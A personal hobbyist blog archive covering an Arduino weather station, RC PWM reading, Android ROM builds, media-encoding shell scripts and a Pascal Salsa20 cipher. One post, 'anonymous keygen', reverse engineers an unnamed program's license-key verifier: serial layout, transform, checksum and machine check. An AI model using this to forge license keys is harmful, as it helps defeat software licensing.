    smoothedLM335 = smoothReading(&LM335Smooth, rawLM335);
  }
  
  if( checkTimer(&dumpTimer) ){
    digitalWrite(LEDPIN, HIGH);
    
    int degreesC = LM335toDegreesC(smoothedLM335, -4);
  
    Serial.print("degreesC:");
    Serial.print(degreesC);

    Serial.print('/'); // divider
      
    Serial.println();
    
    digitalWrite(LEDPIN, LOW);
  }
  
}  
  

On the web server a perl script reads the line from the USB serial port and writes out two files. First it writes the latest line to weathoscope.out - this file can then be easily picked up by a PHP script for displaying the live data. Secondly it parses it into it's key/value pairs building a simple CSV line to be appended to weathoscope.csv. The CSV file can later be used for historical analysis and graphing. Both these files are available on the public part of the web server for potential re-use.

#!/usr/bin/perl

use Device::SerialPort;
use DateTime;
use Data::Dumper;

$LOGDIR    = "/var/www/htdocs";
#$LOGDIR    = "/tmp";
$LOGFILE   = "weathoscope.out";
$CSVFILE   = "weathoscope.csv";
$PORT      = "/dev/ttyU0";
#$PORT      = "/dev/ttyUSB1";

my $port = Device::SerialPort->new($PORT);
$port->databits(8);
$port->baudrate(9600);
$port->parity("none");
$port->stopbits(1);

open(LOG,">${LOGDIR}/${LOGFILE}") || die "can't open log file\n";
open(CSV,">>${LOGDIR}/${CSVFILE}") || die "can't open csv file\n";

while (1) {
  my $data = $port->lookfor();
  if ($data) {
    #print "$data\n";

    #write latest to LOG
    truncate(LOG, 0);
    seek(LOG, 0, 0);
    syswrite LOG, $data;

    #now decode for the CSV
    my $dt = DateTime->now();

    #looking for these
    my $degreesC = "";

    $data =~ s/\r|\n//g;
    
    my @keyvals = split(/\//, $data);
    foreach(@keyvals){
      my @keyval = split(/:/, $_);
      #degreesC
      if(@keyval[0] =~ /degreesC/){
        $degreesC = @keyval[1];
      }
      #blahblah
      #if(@keyval[0] =~ /blahblah/){
      #  $blahblah = @keyval[1];
      #}
      
    }
    #write csv
    my $csv = "$dt, $degreesC\n";
    syswrite CSV, $csv;
  } else {
    sleep(1);
  }
}
  

The lines outputed from the arduino are in the following format, which you can see just need to be split by a forward slash to get an array of key/value pairs and then each of these to be split by a colon to get the key and value.

  key1:value1/key2:value2/key3:value3
  

The nicely presented data can be found here. The PHP script opens the .out file and double-splits the line, parsing the value(s) it needs. It outputs a 'standard' sodnpoo.com blog XML file that automatically gets transformed and styled.

<?php header('Content-Type: text/xml'); ?>
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="/sodnpoo.xsl"?>
<xml>
<post>
  <title>weathoscope</title>
  <date></date>
  <p>
  <span class="header">Current temperature:
  <?php 
    $out = file_get_contents("/htdocs/weathoscope.out");
    $keyvals = explode('/', $out);
    foreach($keyvals as $keyval){
      //echo $keyval."\n";
      $kv = explode(':', $keyval);
      if($kv[0] == 'degreesC'){
        echo $kv[1];
      }
    }
  ?>
  </span></p>
  <p>
  <a href="/weathoscope.csv">log file (csv)</a>
  </p>
</post>
</xml>
  

I'm planning on adding a humidity sensor and my homemade wind speed meter next. Although I have plans for a laser rainfall meter and barometer eventually.

Code available on github.

arduino|weathoscope|
reading multiple rc pwm channels with arduino 1 Jan 2011

I wanted to be able to use my Futaba RC transmitter/receiver as a manual override system for various arduino projects. After some googling I couldn't find any code to read more than 3 channels, some implementations using pulseIn() but suffering because of the inherent time-out. I also found Reading servo PWM with an Arduino which fed the PWM from the RC receiver into one of the interrupt pins. This looked like the right way to do it although this means that each channel needs it's own pin, limiting it's use to two channels on a 328 based arduino. It looks like you can get all channels on one line if you modify the receiver to gain access to the PPM line but I wanted to avoid that if possible.

The code uses the timer interrupt available in the playground. I'm using Timer3 as it's written for the Mega1280 which is what I use for development. I believe but I haven't tested yet, that Timer1 should be pretty much a drop in replacement with only the #include and the initialize() and attachInterrupt() lines in setup() needing some minor changes.

The amount of code executed in callback() will affect how small of an interval you can use on the timer - too small and the arduino spends most of it's time servicing the interrupt slowing down the code in loop() - but the larger you go the worse the pulse width resolution is. To minimise the possible useful interval value I've attempted to optimise callback() including using direct PIN I/O using rawDigitalRead() instead of the standard digitalRead() - this is Mega1280 specific mapping and would either need to be re-written for a 328 or the slower digitalRead() used instead. As it's an 8 bit processor changing variable types from int to byte made a significant difference.

Using the simple demo program below I can read 5 channels with a interval/resolution of 40 microseconds - 4 takes 32, 3 takes 26, 2 takes 14 and 1 takes 10 microseconds. These values are the lowest while keeping a single iteration of loop() to ~50 milliseconds. This might not be enough resolution for all cases but should be enough for my uses.

#include <TimerThree.h>

const byte SERVOPIN = 3;
const byte SERVOPIN1 = 4;
const byte SERVOPIN2 = 5;
const byte SERVOPIN3 = 6;
const byte SERVOPIN4 = 7;

const byte MAXRCPWMS = 5;
const byte RCPINS[MAXRCPWMS] = {
  SERVOPIN, 
  SERVOPIN1, 
  SERVOPIN2, 
  SERVOPIN3, 
  SERVOPIN4, /**/
};

  /* < 50 millis for loop()
  1 = 10
  2 = 14
  3 = 26
  4 = 32
  5 = 40
  */
const byte RCSAMPLERATE = 40; //in microseconds

struct tRcPwm {
  unsigned long lastMicros;
  byte pin, lastState;
  int pulseWidth;
};

volatile tRcPwm rcPwm[MAXRCPWMS];

void setup(){
  Serial.begin(9600);

  for(int i=0;i<MAXRCPWMS;i++){
    rcPwm[i].pulseWidth = 0;
    rcPwm[i].lastMicros = 0;
    rcPwm[i].lastState = 0;
    rcPwm[i].pin = RCPINS[i];
  }
  
  pinMode(10, OUTPUT);
  Timer3.initialize( RCSAMPLERATE );
  Timer3.attachInterrupt(callback);    
}

void loop(){
  Serial.print(millis());

  for(int i=0;i<MAXRCPWMS;i++){
    Serial.print(" ");
    Serial.print(i);
    Serial.print(": ");
    Serial.print(rcPwm[i].pulseWidth);
  }
  
  Serial.println();
}

byte rawDigitalRead(byte pinnum){
  switch(pinnum){
    case 3:
      return !((PINE & (1<<5))==0); // 3
    case 4:
      return !((PING & (1<<5))==0); // 4
    case 5:
      return !((PINE & (1<<3))==0); // 5
    case 6:
      return !((PINH & (1<<3))==0); // 6
    case 7:
      return !((PINH & (1<<4))==0); // 7
  }
}

void callback(){
  for(byte i=0;i<MAXRCPWMS;i++){
    //byte state = digitalRead(rcPwm[i].pin);
    byte state = rawDigitalRead(rcPwm[i].pin);
    
    if( rcPwm[i].lastState != state ){
      unsigned long now = micros();
      if( state==HIGH ){ //rising
        rcPwm[i].lastMicros = now;
      }else{ //falling
        rcPwm[i].pulseWidth = now - rcPwm[i].lastMicros;
      }
      rcPwm[i].lastState = state;
    }
  }
}
  

Latest code available on github.

arduino|
arduino with bma180 and itg3200 26 Dec 2010

Here's a couple of pics of my Mega connected to both the bma180 and itg3200 that Santa brought for me.

On the left is a logic level converter with the bma180 in the middle and the itg3200 on the right.

Here's a close up of just the bma180 and the itg3200.

Example code can be found on github. itg3200_demo.pde and bma180_demo.pde.

Thanks to Fabio Varesano for the itg3200 code and m.ryandesign for the bma180 code.

arduino|
birthday cake 4 20 Dec 2010

Mmmmmmmmm - four layer chocolate cake :)

new css 18 Dec 2010

Just finished building the new css for this site - the old one was pretty crappy and had been in use for 3 years so I thought it was time for a change.

Probably looks best in anything that's not IE :)

arduino weather monitoring station 2 18 Dec 2010

Wind speed

To measure wind speed I needed to be able to count the rotations of some sort of propeller in a given time period. This is the device I came up with to measure the rotations:

The device uses an infrared LED and photocell taken from a broken PS2 ball mouse. The output from the photocell is connected to an arduino interrupt pin.

The vertical axle and cog are taken from a broken small toy helicopter. The bottom of the cog has been covered with black tape except for a single window that exposes the photocell to the IR from the LED once per rotation.

Below is a close up where you can see the clear LED at the bottom, the black photocell at the top and the window in the cog.

I still need to make the propeller - which will most likely be two cups on the end of short arms connected to the axle head - and to acquire a suitable housing for it that can be easily mounted.

Example code can be found here : weatherstation.pde.

arduino|weathoscope|
arduino weather monitoring station 1 18 Dec 2010

Temperature

I've started building an arduino powered weather monitoring station. The plan is to have sensors for the various different aspects (wind speed, temperature etc) so I can publish the live data and keep a log that can be used for later analysis.

For temperature measurement I'm using the LM335Z which can cover a range of -40 to +100 degrees centigrade. It needs one analog pin which after some conversion gives you the temperature in Kelvin.

Below you can see I'm only using two of the 335's legs - v+ and v-. V+ is pulled high on one side via a 1K resistor and on the other is connected to an arduino analog pin. V- is connected to ground.

I use the function below where raw is the raw value returned from analogRead() and fudge is how much to offset the result by after calibration. (I used ice in a bag.) The '-273' is there to convert from Kelvin to degrees centigrade.

  int LM335toDegreesC(int raw, int fudge){
    return (((raw * 500L) / 1023L) - 273L) + fudge;
  }   
  

Example code can be found here : weatherstation.pde.

arduino|weathoscope|
arduino projects on github 11 Dec 2010

I've just pushed my arduino projects folder on to github - https://github.com/sodnpoo/arduino

arduino|
cm6 14Aug10 14 Aug 2010

!!! USE AT YOUR OWN RISK - I AM NOT RESPONSIBLE IF YOU BRICK YOUR PHONE !!!

CM6/Froyo/2.2 for the GSM Hero built from the source today (14/Aug/10). Every thing works including the camera.

Thanks to Cyanogen+LoxK(and others) and to giggsey for hosting the file.

build 030

Contact Lee@sodnpoo.com

cm6 07Aug10 07 Aug 2010

!!! USE AT YOUR OWN RISK - I AM NOT RESPONSIBLE IF YOU BRICK YOUR PHONE !!!

CM6/Froyo/2.2 for the GSM Hero built from the source today (7/Aug/10). Every thing seems to work except for the camera.

Thanks to Cyanogen+LoxK(and others) and to giggsey for hosting the file.

build 026

Contact Bugs, comments and suggestions to: Lee@sodnpoo.com

android eclair aosp build 31 May 2010

!!! USE AT YOUR OWN RISK - I AM NOT RESPONSIBLE IF YOU BRICK YOUR PHONE !!!

This is a working AOSP eclair (2.1r1) build for the GSM HTC Hero. It's fast and stable, built from naivemonarch's android_vendor_community, cyanogen's busybox and jnwhiteh's android_bionic. With HTC proprietary files taken from HERO21.

It's using the leaked HTC Sprint kernel taken from VillianRom 5.4 (thanks nathan) as I'm still not happy with the battery life of behnaam's HeRo-2.6.29-GoDmOdE kernel. (Maybe I'm doing something wrong...)

Features

Issues

Installation The ROM is split into three update zips. A system image, the VillianROM boot image and the Google Bits.

Download Files are available as torrents:

lee-aosp-jit-update-signed.zip.torrent

VR54-boot-signed.zip.torrent

GoogleBits-sdk7-v1.7-signed.zip.torrent

Contact Bugs, comments and suggestions to: Lee@sodnpoo.com

android|
anonymous keygen 20 Feb 2010

As a 'hobby' I quite like to reverse engineer key verifiers in random programs found on the net. In order to protect the company involved, I won't be naming them or their product.

The key system is standard stuff, the program generates an activation code (12 digits) and the user enters a serial (24 digits). Internally it uses three main stages - a transform, a checksum and a different machine check. Additional information is also embedded in the serial - version, expiry date, site licencing and capabilities.

The Transform The transform stage walks through the serial and a hardcoded transform key of the same length adding the two together, except in the special case of a zero in the serial which it treats as ten and subtracts the transform key instead:

  for(i=0;i<24;i++){
    if(serial[i]==0}{
      key[i] = 10 - xkey[i];
    }else{
      key[i] = serial[i] + xkey[i];
    }    
  }
  

Once this stage is complete the key has a structure and is broken up into six chunks:

ZZZX-XXXX-XXYY-YYYW-WWVV-VVCS
  |        |     |    |   | |
(Z)version |     |    |   | |
(X)diff machine  |    |   | |
(Y)expiry date        |   | |
(W)site licence           | |
(V)capabilities             |
(CS)checksum
  

The Checksum The checksum stage walks the first 22 numbers of the transformed key adding them up as it goes. With the result it takes the right most two digits and compares them to the last two in the transformed key.

  for(i=0;i<22;i++){
    cs = cs + key[i];
  }
  return cs % 100;  
  

The Different Machine Check The different machine check takes the first four chars of the computer name and converts them in turn to their decimal representation resulting in an eight digit number. The first seven digits of this number are then compared to the fourth to tenth digits in the transformed key ('X' on the diagram above).

  for(i=0;i<4;i++){
    keypart .= ord(pcname[i]);
  }
  return substr(keypart, 0, 7);  
  

Additional Embedded Information

Activation key Strangely the activation key wasn't required to successfully generate keys. I suspect it's an encoding of the computer name, that is then relayed to the vendor for key generation.

keygen|reverse|
birthday cake 3 18 Dec 2009

cola lace 14 Mar 2009

As part of what Santa brought me came a little bluetooth keyboard, the KeySonic 'Super Mini Keyboard' model ACK-3400BT to go with my n95. While researching it I didn't find any reports of either success or failure of it working but decided it was worth a try.

Well I was wrong - it didn't work at all. It would pair but it and the built-in wireless keyboard app wouldn't play nicely no matter what I did.

I decided to see if I could get it to pair with my PC and after some trouble with ubuntu (it seem's that 8.10 has broken bluetooth) it worked perfectly. So now knowing the keyboard did work, I started to wonder if I could build a driver for it. Colalace was what I came up with.

It should be almost fully functional with the only key I wasn't able to emulate being a long press of the menu button which normally shows the task list. (Very annoying - if anybody can shed light on this, it would be most appreciated.)

Special keys:

It should be noted that most input fields default to the 'Abc' input mode and you need to switch it to number mode with ctrl+F4 otherwise you'll get weird results. (Try it - you'll see - again if anybody has a solution to it, I'd be very pleased to hear it.)

Instructions:

Be aware that the first keypress usually takes around 30 seconds to get executed. After that everything should be nice and responsive.

The installer below is unsigned and may have more capabilities than it needs or can use on an unhacked n95 - mine is - I haven't tested on an unhacked n95 yet.

installer

source - The source is under BSD licence.

I'd imagine that with an adjustment to the mapping it would probably work for other s60 phones, let me know if you'd want this and are willing to test it.

I would very much like to hear bug reports/suggestions, you can send them to: lee@sodnpoo.com

encoding mp4 for the n95 24 Dec 2008

Just got hold of the TV out cable for my n95, turns out it outputs in 640x480 even tho the screen on the device it self is only 320x240. This means the video playback quality is actually pretty good - well better than I thought it was going to be anyway.

Here's the script (based around mencoder):

#!/bin/bash

flags="-ofps 25 -vf harddup,scale=640:480 -of lavf -lavfopts format=mp4 -oac lavc -ovc lavc -lavcopts
 aglobal=1:vglobal=1:acodec=libfaac:abitrate=128:vcodec=mpeg4:keyint=25:"

#add threading
flags="${flags}threads=5:"

echo flags:
echo $flags
echo

turbo="turbo:"

for input in "$@"
do
  echo "input file  : $input"
  output="${input%.*}.mp4"
  output="./${output##*/}"
  echo "output file : $output"
  echo

  nice mencoder "$input" -o /dev/null ${flags}${turbo}vpass=1
  nice mencoder "$input" -o "$output" ${flags}vpass=2
  echo
done  
  

(Oh and the iplayer app for the n96 works pretty good too! ;-) )

birthday cake 2 20 Dec 2008

Another year older... Here's this years cake:

Yes - it's as good as it looks ;-)

volume control 19 Dec 2008

As I use my n95 as my mp3 player in the car, thru the stereo I thought it'd be good if the volume would adjust automatically to stay above the engine noise.

Not wanting to have to resort to a virtual machine so I could install Carbide++ I did some googling and found pys60. Pys60 is python for the s60!

I've never coded in python before so the code below may well suck - but I was impressed at the amount of time it took to produce working code. It took 4 hours to go from zero to an almost working app.

Anyhow the code just polls the GPS to get your speed and if you cross the 'step' threshold (seems to work best around 17 mph in my car.. You might have to tweak this if your volume rises and falls too quickly and/or slowly) it simulates a volume up/down keypress.

I imagine this would work on any s60 with attached GPS - even bluetooth - you'd need to find what the name of the device was tho..

import positioning, keypress, math 
from key_codes import *

updateSecs = 3
gpsName = "Integrated GPS"
speedStep = 17

for module in positioning.modules():
  if module['name'] == gpsName:
    positioning.select_module(module['id'])
    
positioning.set_requestors([{"type":"service","format":"application","data":"test_app"}])
lastSpeedMph = 0

def cb(event):
  speedMph = event['course']['speed'] * 2.237
  print "mph: ",speedMph
  global lastSpeedMph
  top = math.ceil(lastSpeedMph/speedStep)*speedStep
  bottom = math.floor(lastSpeedMph/speedStep)*speedStep
  print "top :", top
  print "bottom :", bottom
  
  lastSpeedMph = speedMph
  
  if speedMph < bottom:
    print "volume down"
    keypress.send_raw_event(keypress.EKeyDown, EStdKeyDecVolume)
    keypress.send_raw_event(keypress.EKeyUp, EStdKeyDecVolume)
    
  if speedMph > top:
    print "volume up"
    keypress.send_raw_event(keypress.EKeyDown, EStdKeyIncVolume)
    keypress.send_raw_event(keypress.EKeyUp, EStdKeyIncVolume)
    
positioning.position(course=1,satellites=1,callback=cb, interval=updateSecs*1000000,partial=0)
#execfile("E:\Python\Gps.py")
#positioning.stop_position()
  
  
rip all dvd titles 13 Apr 2008

Script to rip all titles off a dvd. Only tested on a home made (not encrypted) disc, but I think mencoder can read CSS'd discs anyway so it'll probably work. ;-)

  
#!/bin/bash

numtitles=`mplayer dvd:// -identify -endpos 0 -vo null -vc null 
-ao null -nosound 2> /dev/null | grep ID_DVD_TITLES= | cut -d "=" -f 2`

for ((i=1;i<=${numtitles};i+=1)); do
  mencoder dvd://${i} -oac copy -ovc copy -o dvd${i}.vob
done
  
convert to 3gp 12 Apr 2008

Another small video conversion script. I started a new job recently and now I spend a few hours a day on a train so I needed to be able to convert media to 3gp (although technically I think mpeg4/aac/3gp is a 3g2...). This is what I came up with.

On ubuntu I had to build ffmpeg from source to get libfaac/aac support.

  
#!/bin/bash

flags="-threads 5 -f 3gp -vcodec mpeg4 -b 128k -ab 64k -s 320x240 -r 15 
-acodec libfaac -ar 48000 -ac 2 -passlogfile ./fflog"

#uncomment to cut 26 seconds off the beginning
#flags="-ss 26 ${flags}"

for input in "$@"
do
  echo "input file  : $input"
  output="${input%.*}.3gp"
  output="./${output##*/}"
  echo "output file : $output"
  echo
  
  nice ~/bin/ffmpeg -y -i "$input" ${flags} -pass 1 /dev/null  
  nice ~/bin/ffmpeg -y -i "$input" ${flags} -pass 2 "$output"
  rm ./fflog*.log
done
  
encode to filesize 11 Apr 2008

The script below encodes to a mpeg2/ac3 (dvd standard) recalculating the video bitrate to fit the filesize specified. Audio is fixed at 192kbps and estimates a 5% mux overhead.

  
#!/bin/bash

echo usage: $0 file_size filename

audiobitrate="192"
#take 5% mux overhead off
muxoverhead="5"
filesize=`echo "($1-(($1/100)*${muxoverhead}))*1048576" | bc`

skip=0

for filename in "$@"
do
  if [ "$skip" -gt 0 ] #skip first(filesize) param
  then
    length=`mplayer "$filename" -identify -endpos 0 -vo null -vc null -ao null -nosound 2> /dev/null 
    | grep ID_LENGTH= | cut -d "=" -f 2`
    bitrate=`echo "((($filesize/$length)*8)/1024)-$audiobitrate" | bc`
    
    echo "filename: $filename"
    echo "filelen : $length"
    echo "bitrate : $bitrate"
    
    output="${filename%.*}.mpeg"
    output="./${output##*/}"
    
    flags="-oac lavc -ovc lavc -of mpeg -mpegopts format=dvd:tsaf -vf scale=720:576,harddup -srate 48000 
    -af lavcresample=48000 -ofps 25 -lavcopts vcodec=mpeg2video:vrc_buf_size=1835:vrc_maxrate=$bitrate:
    vbitrate=$bitrate:keyint=15:vstrict=0:acodec=ac3:abitrate=$audiobitrate:aspect=16/9:"
    
    flags="-quiet ${flags}"
    
    #add threading
    flags="${flags}threads=8:"
    
    echo "flags: $flags"

    nice mencoder "$filename" -o "/dev/null" ${flags}vpass=1
    nice mencoder "$filename" -o "$output" ${flags}vpass=2

  fi
  
  skip=`echo "$skip+1" | bc`
done
  
atom feed using xml and xslt 26 Jan 2008

I friend of mine asked if he could get a feed of sodnpoo. As the site was really just a lump of html and some css that wasn't really possible. I decided I'd really like to have a go at properly separating raw post data from the form and function. I'd also been wanting to have a look at xslt.

I started by splitting the posts in to separate xml files and applying an xsl(t) file using the <?xml-stylesheet ...>. Here's the xml for the birthday cake post:

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="/sodnpoo.xsl"?>
<xml>
<post>
  <title>birthday cake</title>
  <date>
  22 Dec 2007
  </date>
  <p>
  It was my birthday the other day. Here's the fantastic cake Vicky (my girlfriend) made for me: 
  </p>
  <image src="/birthdaycake.png"/>
</post>
</xml>  
  

This is then processed by the xslt on the client to transform the xml into html. This is a small snippet of the .xsl file showing how it transforms the title tag in the xml to a span with both the href and the value inside the tag using the value from title.

<xsl:template match="title">
<span class="header">
<a href="/posts.xml/{.}.xml">
<xsl:value-of select="."/>
</a>
</span>
</xsl:template>
  

With the conversion to xml and the xslt in place the individual posts were working well. I put together a short php script to build a front page displaying all posts in reverse date order. The script reads in the contents of the posts directory then uses DOM to extract and sort by the date, then staples them all back together and adds the xml-stylesheet tag used in the singles posts. The same xslt works on both the individual and the list of posts because it transforms all entities called 'post'. It's just the individual posts only have one.

Next I started thinking about the feed itself. After researching rss I found out there's a handful of different formats that you can use for your feed. I like standards so I decided to use atom . It's the only one that is IETF approved.

Now I just had to write an xslt to transform the same data that had been assembled by the front page script into an atom feed, but this time the transfomation needs to be done server side, using php's built in functions. XSLT works so well I was able to put a switch in the script so it used the html xslt instead, producing the front page html server side too with no modifications.

To finish off I added <link rel="alternate" type="application/atom+xml" title="sodnpoo.com feed" href="/?x=atom" /> to the top of the html xslt so you should get an rss icon to easy subscribe.

The feed can be found here . Server side html here .

salsa20 13 Jan 2008

Here's an implementation of Salsa20 by DJ Bernstein in pascal. There's a unit salsa20.pas and a test unit handily named testsalsa20.pas. Built and tested using freepascal .

salsa20.pas:

unit salsa20;

interface

uses
  sysutils;

type TSalsa20Word = array[0..15] of longword;

type TSalsa20Key = array[0..31] of byte;

type TArrayOfByte = array of byte;

procedure Salsa20KeySetup(var KeyState : TSalsa20Word; key : TSalsa20Key);

procedure Salsa20IvSetup(var KeyState : TSalsa20Word; Iv1, Iv2 : longword);

function Salsa20Encrypt(var KeyState : TSalsa20Word; msg : TArrayOfByte): TArrayOfByte;

function FourBytesToLongword( b0, b1, b2, b3 : byte ): longword;

procedure LongwordToFourBytes( lw : longword;  var b0, b1, b2, b3 : byte); 

function Salsa20Crypt(Key : TSalsa20Key; Iv1, Iv2 : longword; msg : TArrayOfByte) : TArrayOfByte;

implementation

function FourBytesToLongword( b0, b1, b2, b3 : byte ): longword;
var
  lw : longword;
  lwa : array[0..3] of byte;
begin
  lwa[0] := b0;
  lwa[1] := b1;
  lwa[2] := b2;
  lwa[3] := b3;
  move( lwa[0], lw, SizeOf(longword) );
  FourBytesToLongword := lw;
end;

procedure LongwordToFourBytes( lw : longword; var b0,b1,b2,b3 : byte );
var
  lwa : array[0..3] of byte;
begin
  move( lw, lwa[0], SizeOf(longword) );
  b0 := lwa[0];
  b1 := lwa[1];
  b2 := lwa[2];
  b3 := lwa[3];
end;

function R(a, b : longword):longword;
begin
  R := ((a shl b) or (a shr (32 - b)));
end;

function Salsa20WordSpec(InWord : TSalsa20Word): TSalsa20Word;
var
  x : TSalsa20Word;
  i : integer;
begin
  x := InWord;

  i := 20;
  repeat
  begin
//    writeln('i:'+IntToStr(i));
    x[ 4] := x[ 4] xor R(x[ 0] + x[12],  7);
    x[ 8] := x[ 8] xor R(x[ 4] + x[ 0],  9);

    x[12] := x[12] xor R(x[ 8] + x[ 4], 13);
    x[ 0] := x[ 0] xor R(x[12] + x[ 8], 18);  

    x[ 9] := x[ 9] xor R(x[ 5] + x[ 1],  7);
    x[13] := x[13] xor R(x[ 9] + x[ 5],  9);

    x[ 1] := x[ 1] xor R(x[13] + x[ 9], 13);
    x[ 5] := x[ 5] xor R(x[ 1] + x[13], 18);

    x[14] := x[14] xor R(x[10] + x[ 6],  7);
    x[ 2] := x[ 2] xor R(x[14] + x[10],  9);

    x[ 6] := x[ 6] xor R(x[ 2] + x[14], 13);
    x[10] := x[10] xor R(x[ 6] + x[ 2], 18);

    x[ 3] := x[ 3] xor R(x[15] + x[11],  7);
    x[ 7] := x[ 7] xor R(x[ 3] + x[15],  9);

    x[11] := x[11] xor R(x[ 7] + x[ 3], 13);
    x[15] := x[15] xor R(x[11] + x[ 7], 18);

    x[ 1] := x[ 1] xor R(x[ 0] + x[ 3],  7);
    x[ 2] := x[ 2] xor R(x[ 1] + x[ 0],  9);

    x[ 3] := x[ 3] xor R(x[ 2] + x[ 1], 13);
    x[ 0] := x[ 0] xor R(x[ 3] + x[ 2], 18);

    x[ 6] := x[ 6] xor R(x[ 5] + x[ 4],  7);
    x[ 7] := x[ 7] xor R(x[ 6] + x[ 5],  9);

    x[ 4] := x[ 4] xor R(x[ 7] + x[ 6], 13);
    x[ 5] := x[ 5] xor R(x[ 4] + x[ 7], 18);

    x[11] := x[11] xor R(x[10] + x[ 9],  7);
    x[ 8] := x[ 8] xor R(x[11] + x[10],  9);

    x[ 9] := x[ 9] xor R(x[ 8] + x[11], 13);
    x[10] := x[10] xor R(x[ 9] + x[ 8], 18);

    x[12] := x[12] xor R(x[15] + x[14],  7);
    x[13] := x[13] xor R(x[12] + x[15],  9);

    x[14] := x[14] xor R(x[13] + x[12], 13);
    x[15] := x[15] xor R(x[14] + x[13], 18);

    i := i - 2;
  end
  until i < 1;

  for i := 0 to 15 do
  begin
    Salsa20WordSpec[i] := x[i] + InWord[i];
  end;

end;

procedure Salsa20IvSetup(var KeyState : TSalsa20Word; Iv1, Iv2 : longword);
begin
  KeyState[6] := Iv1;
  KeyState[7] := Iv2;
end;

procedure Salsa20KeySetup(var KeyState : TSalsa20Word; key : TSalsa20Key );
const
  sigma = 'expand 32-byte k';
begin
  KeyState[0] := 
FourbytesToLongword(byte(sigma[1]),byte(sigma[2]),byte(sigma[3]),byte(sigma[4]));

  KeyState[5] := 
FourBytesToLongword(byte(sigma[5]),byte(sigma[6]),byte(sigma[7]),byte(sigma[8]));

  KeyState[10] := 
FourBytesToLongword(byte(sigma[9]),byte(sigma[10]),byte(sigma[11]),byte(sigma[12]));

  KeyState[15] := 
FourBytesToLongword(byte(sigma[13]),byte(sigma[14]),byte(sigma[15]),byte(sigma[16]));

  KeyState[1] := FourBytesToLongword(key[0],key[1],key[2],key[3]);
  KeyState[2] := FourBytesToLongword(key[4],key[5],key[6],key[7]);
  KeyState[3] := FourBytesToLongword(key[8],key[9],key[10],key[11]);
  KeyState[4] := FourBytesToLongword(key[12],key[13],key[14],key[15]);
  KeyState[11] := FourBytesToLongword(key[16],key[17],key[18],key[19]);
  KeyState[12] := FourBytesToLongword(key[20],key[21],key[22],key[23]);
  KeyState[13] := FourBytesToLongword(key[24],key[25],key[26],key[27]);
  KeyState[14] := FourBytesToLongword(key[28],key[29],key[30],key[31]);  
end;

function Salsa20Encrypt(var KeyState : TSalsa20Word; msg : TArrayOfByte):TArrayOfByte;
var
  output : TSalsa20Word;
  cursor, i, Len, AlignedLen : longword;
  b1, b2, b3, b4 : byte;
begin
  if Length(msg) > 0 then
  begin
    KeyState[8] := 0;
    KeyState[9] := 0;

    Len := Length(msg);
    AlignedLen := (Len+(64-1)) and (not(64-1));

    SetLength(msg, AlignedLen);
    SetLength(Salsa20Encrypt, AlignedLen);

    cursor:=0;
    repeat
    begin
      output := Salsa20WordSpec( KeyState );

      i:=0;
      repeat
      begin
        LongwordToFourBytes( output[i], b1, b2, b3, b4);

        Salsa20Encrypt[(i*4)+0+cursor] := msg[(i*4)+0+cursor] xor b1;
        Salsa20Encrypt[(i*4)+1+cursor] := msg[(i*4)+1+cursor] xor b2;
        Salsa20Encrypt[(i*4)+2+cursor] := msg[(i*4)+2+cursor] xor b3;
        Salsa20Encrypt[(i*4)+3+cursor] := msg[(i*4)+3+cursor] xor b4;

        Inc(i);
      end
      until i = 16; 
      cursor:=cursor+64;

      if KeyState[8] = $ffffffff then
      begin
        Inc( KeyState[9] );
      end;
      Inc( KeyState[8] );
    end
    until (cursor > Len-2);
    
    SetLength(Salsa20Encrypt, Len);
  end;
end;

function Salsa20Crypt(Key : TSalsa20Key; Iv1, Iv2 : longword; msg : TArrayOfByte) : TArrayOfByte;
var
  KeyState : TSalsa20Word;
begin
  Salsa20KeySetup(KeyState, Key);
  Salsa20IvSetup(KeyState, Iv1, Iv2);
  Salsa20Crypt := Salsa20Encrypt(KeyState, msg);
end;

end.

testsalsa20.pas:

program testsalsa20;

uses
  salsa20, sysutils;

function Salsa20WordToHex( Salsa20 : TSalsa20Word ): ansistring;
var
  i : integer;
  b0, b1, b2, b3 : byte;
begin
  Salsa20WordToHex := '';
  for i := 0 to 15 do
  begin
    Salsa20WordToHex := Salsa20WordToHex + ' $' + IntToHex(Salsa20[i],8);
    LongwordToFourBytes( Salsa20[i], b0, b1, b2, b3 );
    Salsa20WordToHex := Salsa20WordToHex + ' ' + IntToStr(b0) + 
    ' ' +IntToStr(b1) + ' ' + IntToStr(b2) + ' ' + IntToStr(b3);
  end;
end;

function TArrayOfByteToHex( ByteArray : TArrayOfByte ): ansistring;
var
  i : longword;
begin
  for i := 0 to Length(ByteArray)-1 do
  begin
    TArrayOfByteToHex:=TArrayOfByteToHex + ' $' + IntToHex(ByteArray[i],2);
  end;
end;

const
  INLEN = 1000;
var
// KeyState, KeyState2 : TSalsa20Word;
 Key : TSalsa20Key;
 InBuf, OutBuf, Golden : TArrayOfByte;
 i : longword;
begin
  SetLength( InBuf, INLEN );  
  for i := 0 to INLEN-1 do
  begin
    if Odd(i) = true then
    begin
      InBuf[i] := $00;
    end
    else
    begin
      InBuf[i] := $ff;
    end;
  end;

  for i := 0 to 15 do
  begin
    Key[i] := i+1;
    Key[i+16] := 201 + i; 
  end;

  writeln('InBuf:');
  writeln( TArrayOfByteToHex( InBuf) );

  OutBuf := Salsa20Crypt(Key, $01234567, $76543210, InBuf);

  writeln('OutBuf:');
  writeln( TArrayOfByteToHex( OutBuf) );

  Golden := Salsa20Crypt(Key, $01234567, $76543210, OutBuf);

  writeln('golden:');
  writeln( TArrayOfByteToHex( Golden ) );

end.

Enjoy! ;-)

mencoder chop 5 Jan 2008

Here's another mencoder script, this one breaks files up into MB sized chunks.

Usage: mencoderchop.sh <chunk size in MB> <filename>

It's a work around for a dvd player that can't deal with files bigger than 2GB.

#!/bin/bash

echo usage: $0 chunk_size filename

filesize=`ls -ls "$2" | cut -d " " -f 6`
chunksize=`echo "$1*1048576" | bc`
chunknum=`echo "($filesize/$chunksize)" | bc`

flags="-of mpeg -mpegopts format=dvd:tsaf -oac copy -ovc copy"

for ((i=0;i<=$chunknum;i++)) do
  part=`echo "$i+1" | bc`
  start=`echo "$i*$chunksize" | bc`

  mencoder "${2}" $flags -o "${2%.*}-part${part}.mpeg" -sb $start -endpos ${chunksize}b
done

You can get it to run in parallel adding an '&' to the end of the mencoder line. I didn't include it in the script because it becomes a bit unruly, but it can speed up things quite a lot.

birthday cake 22 Dec 2007

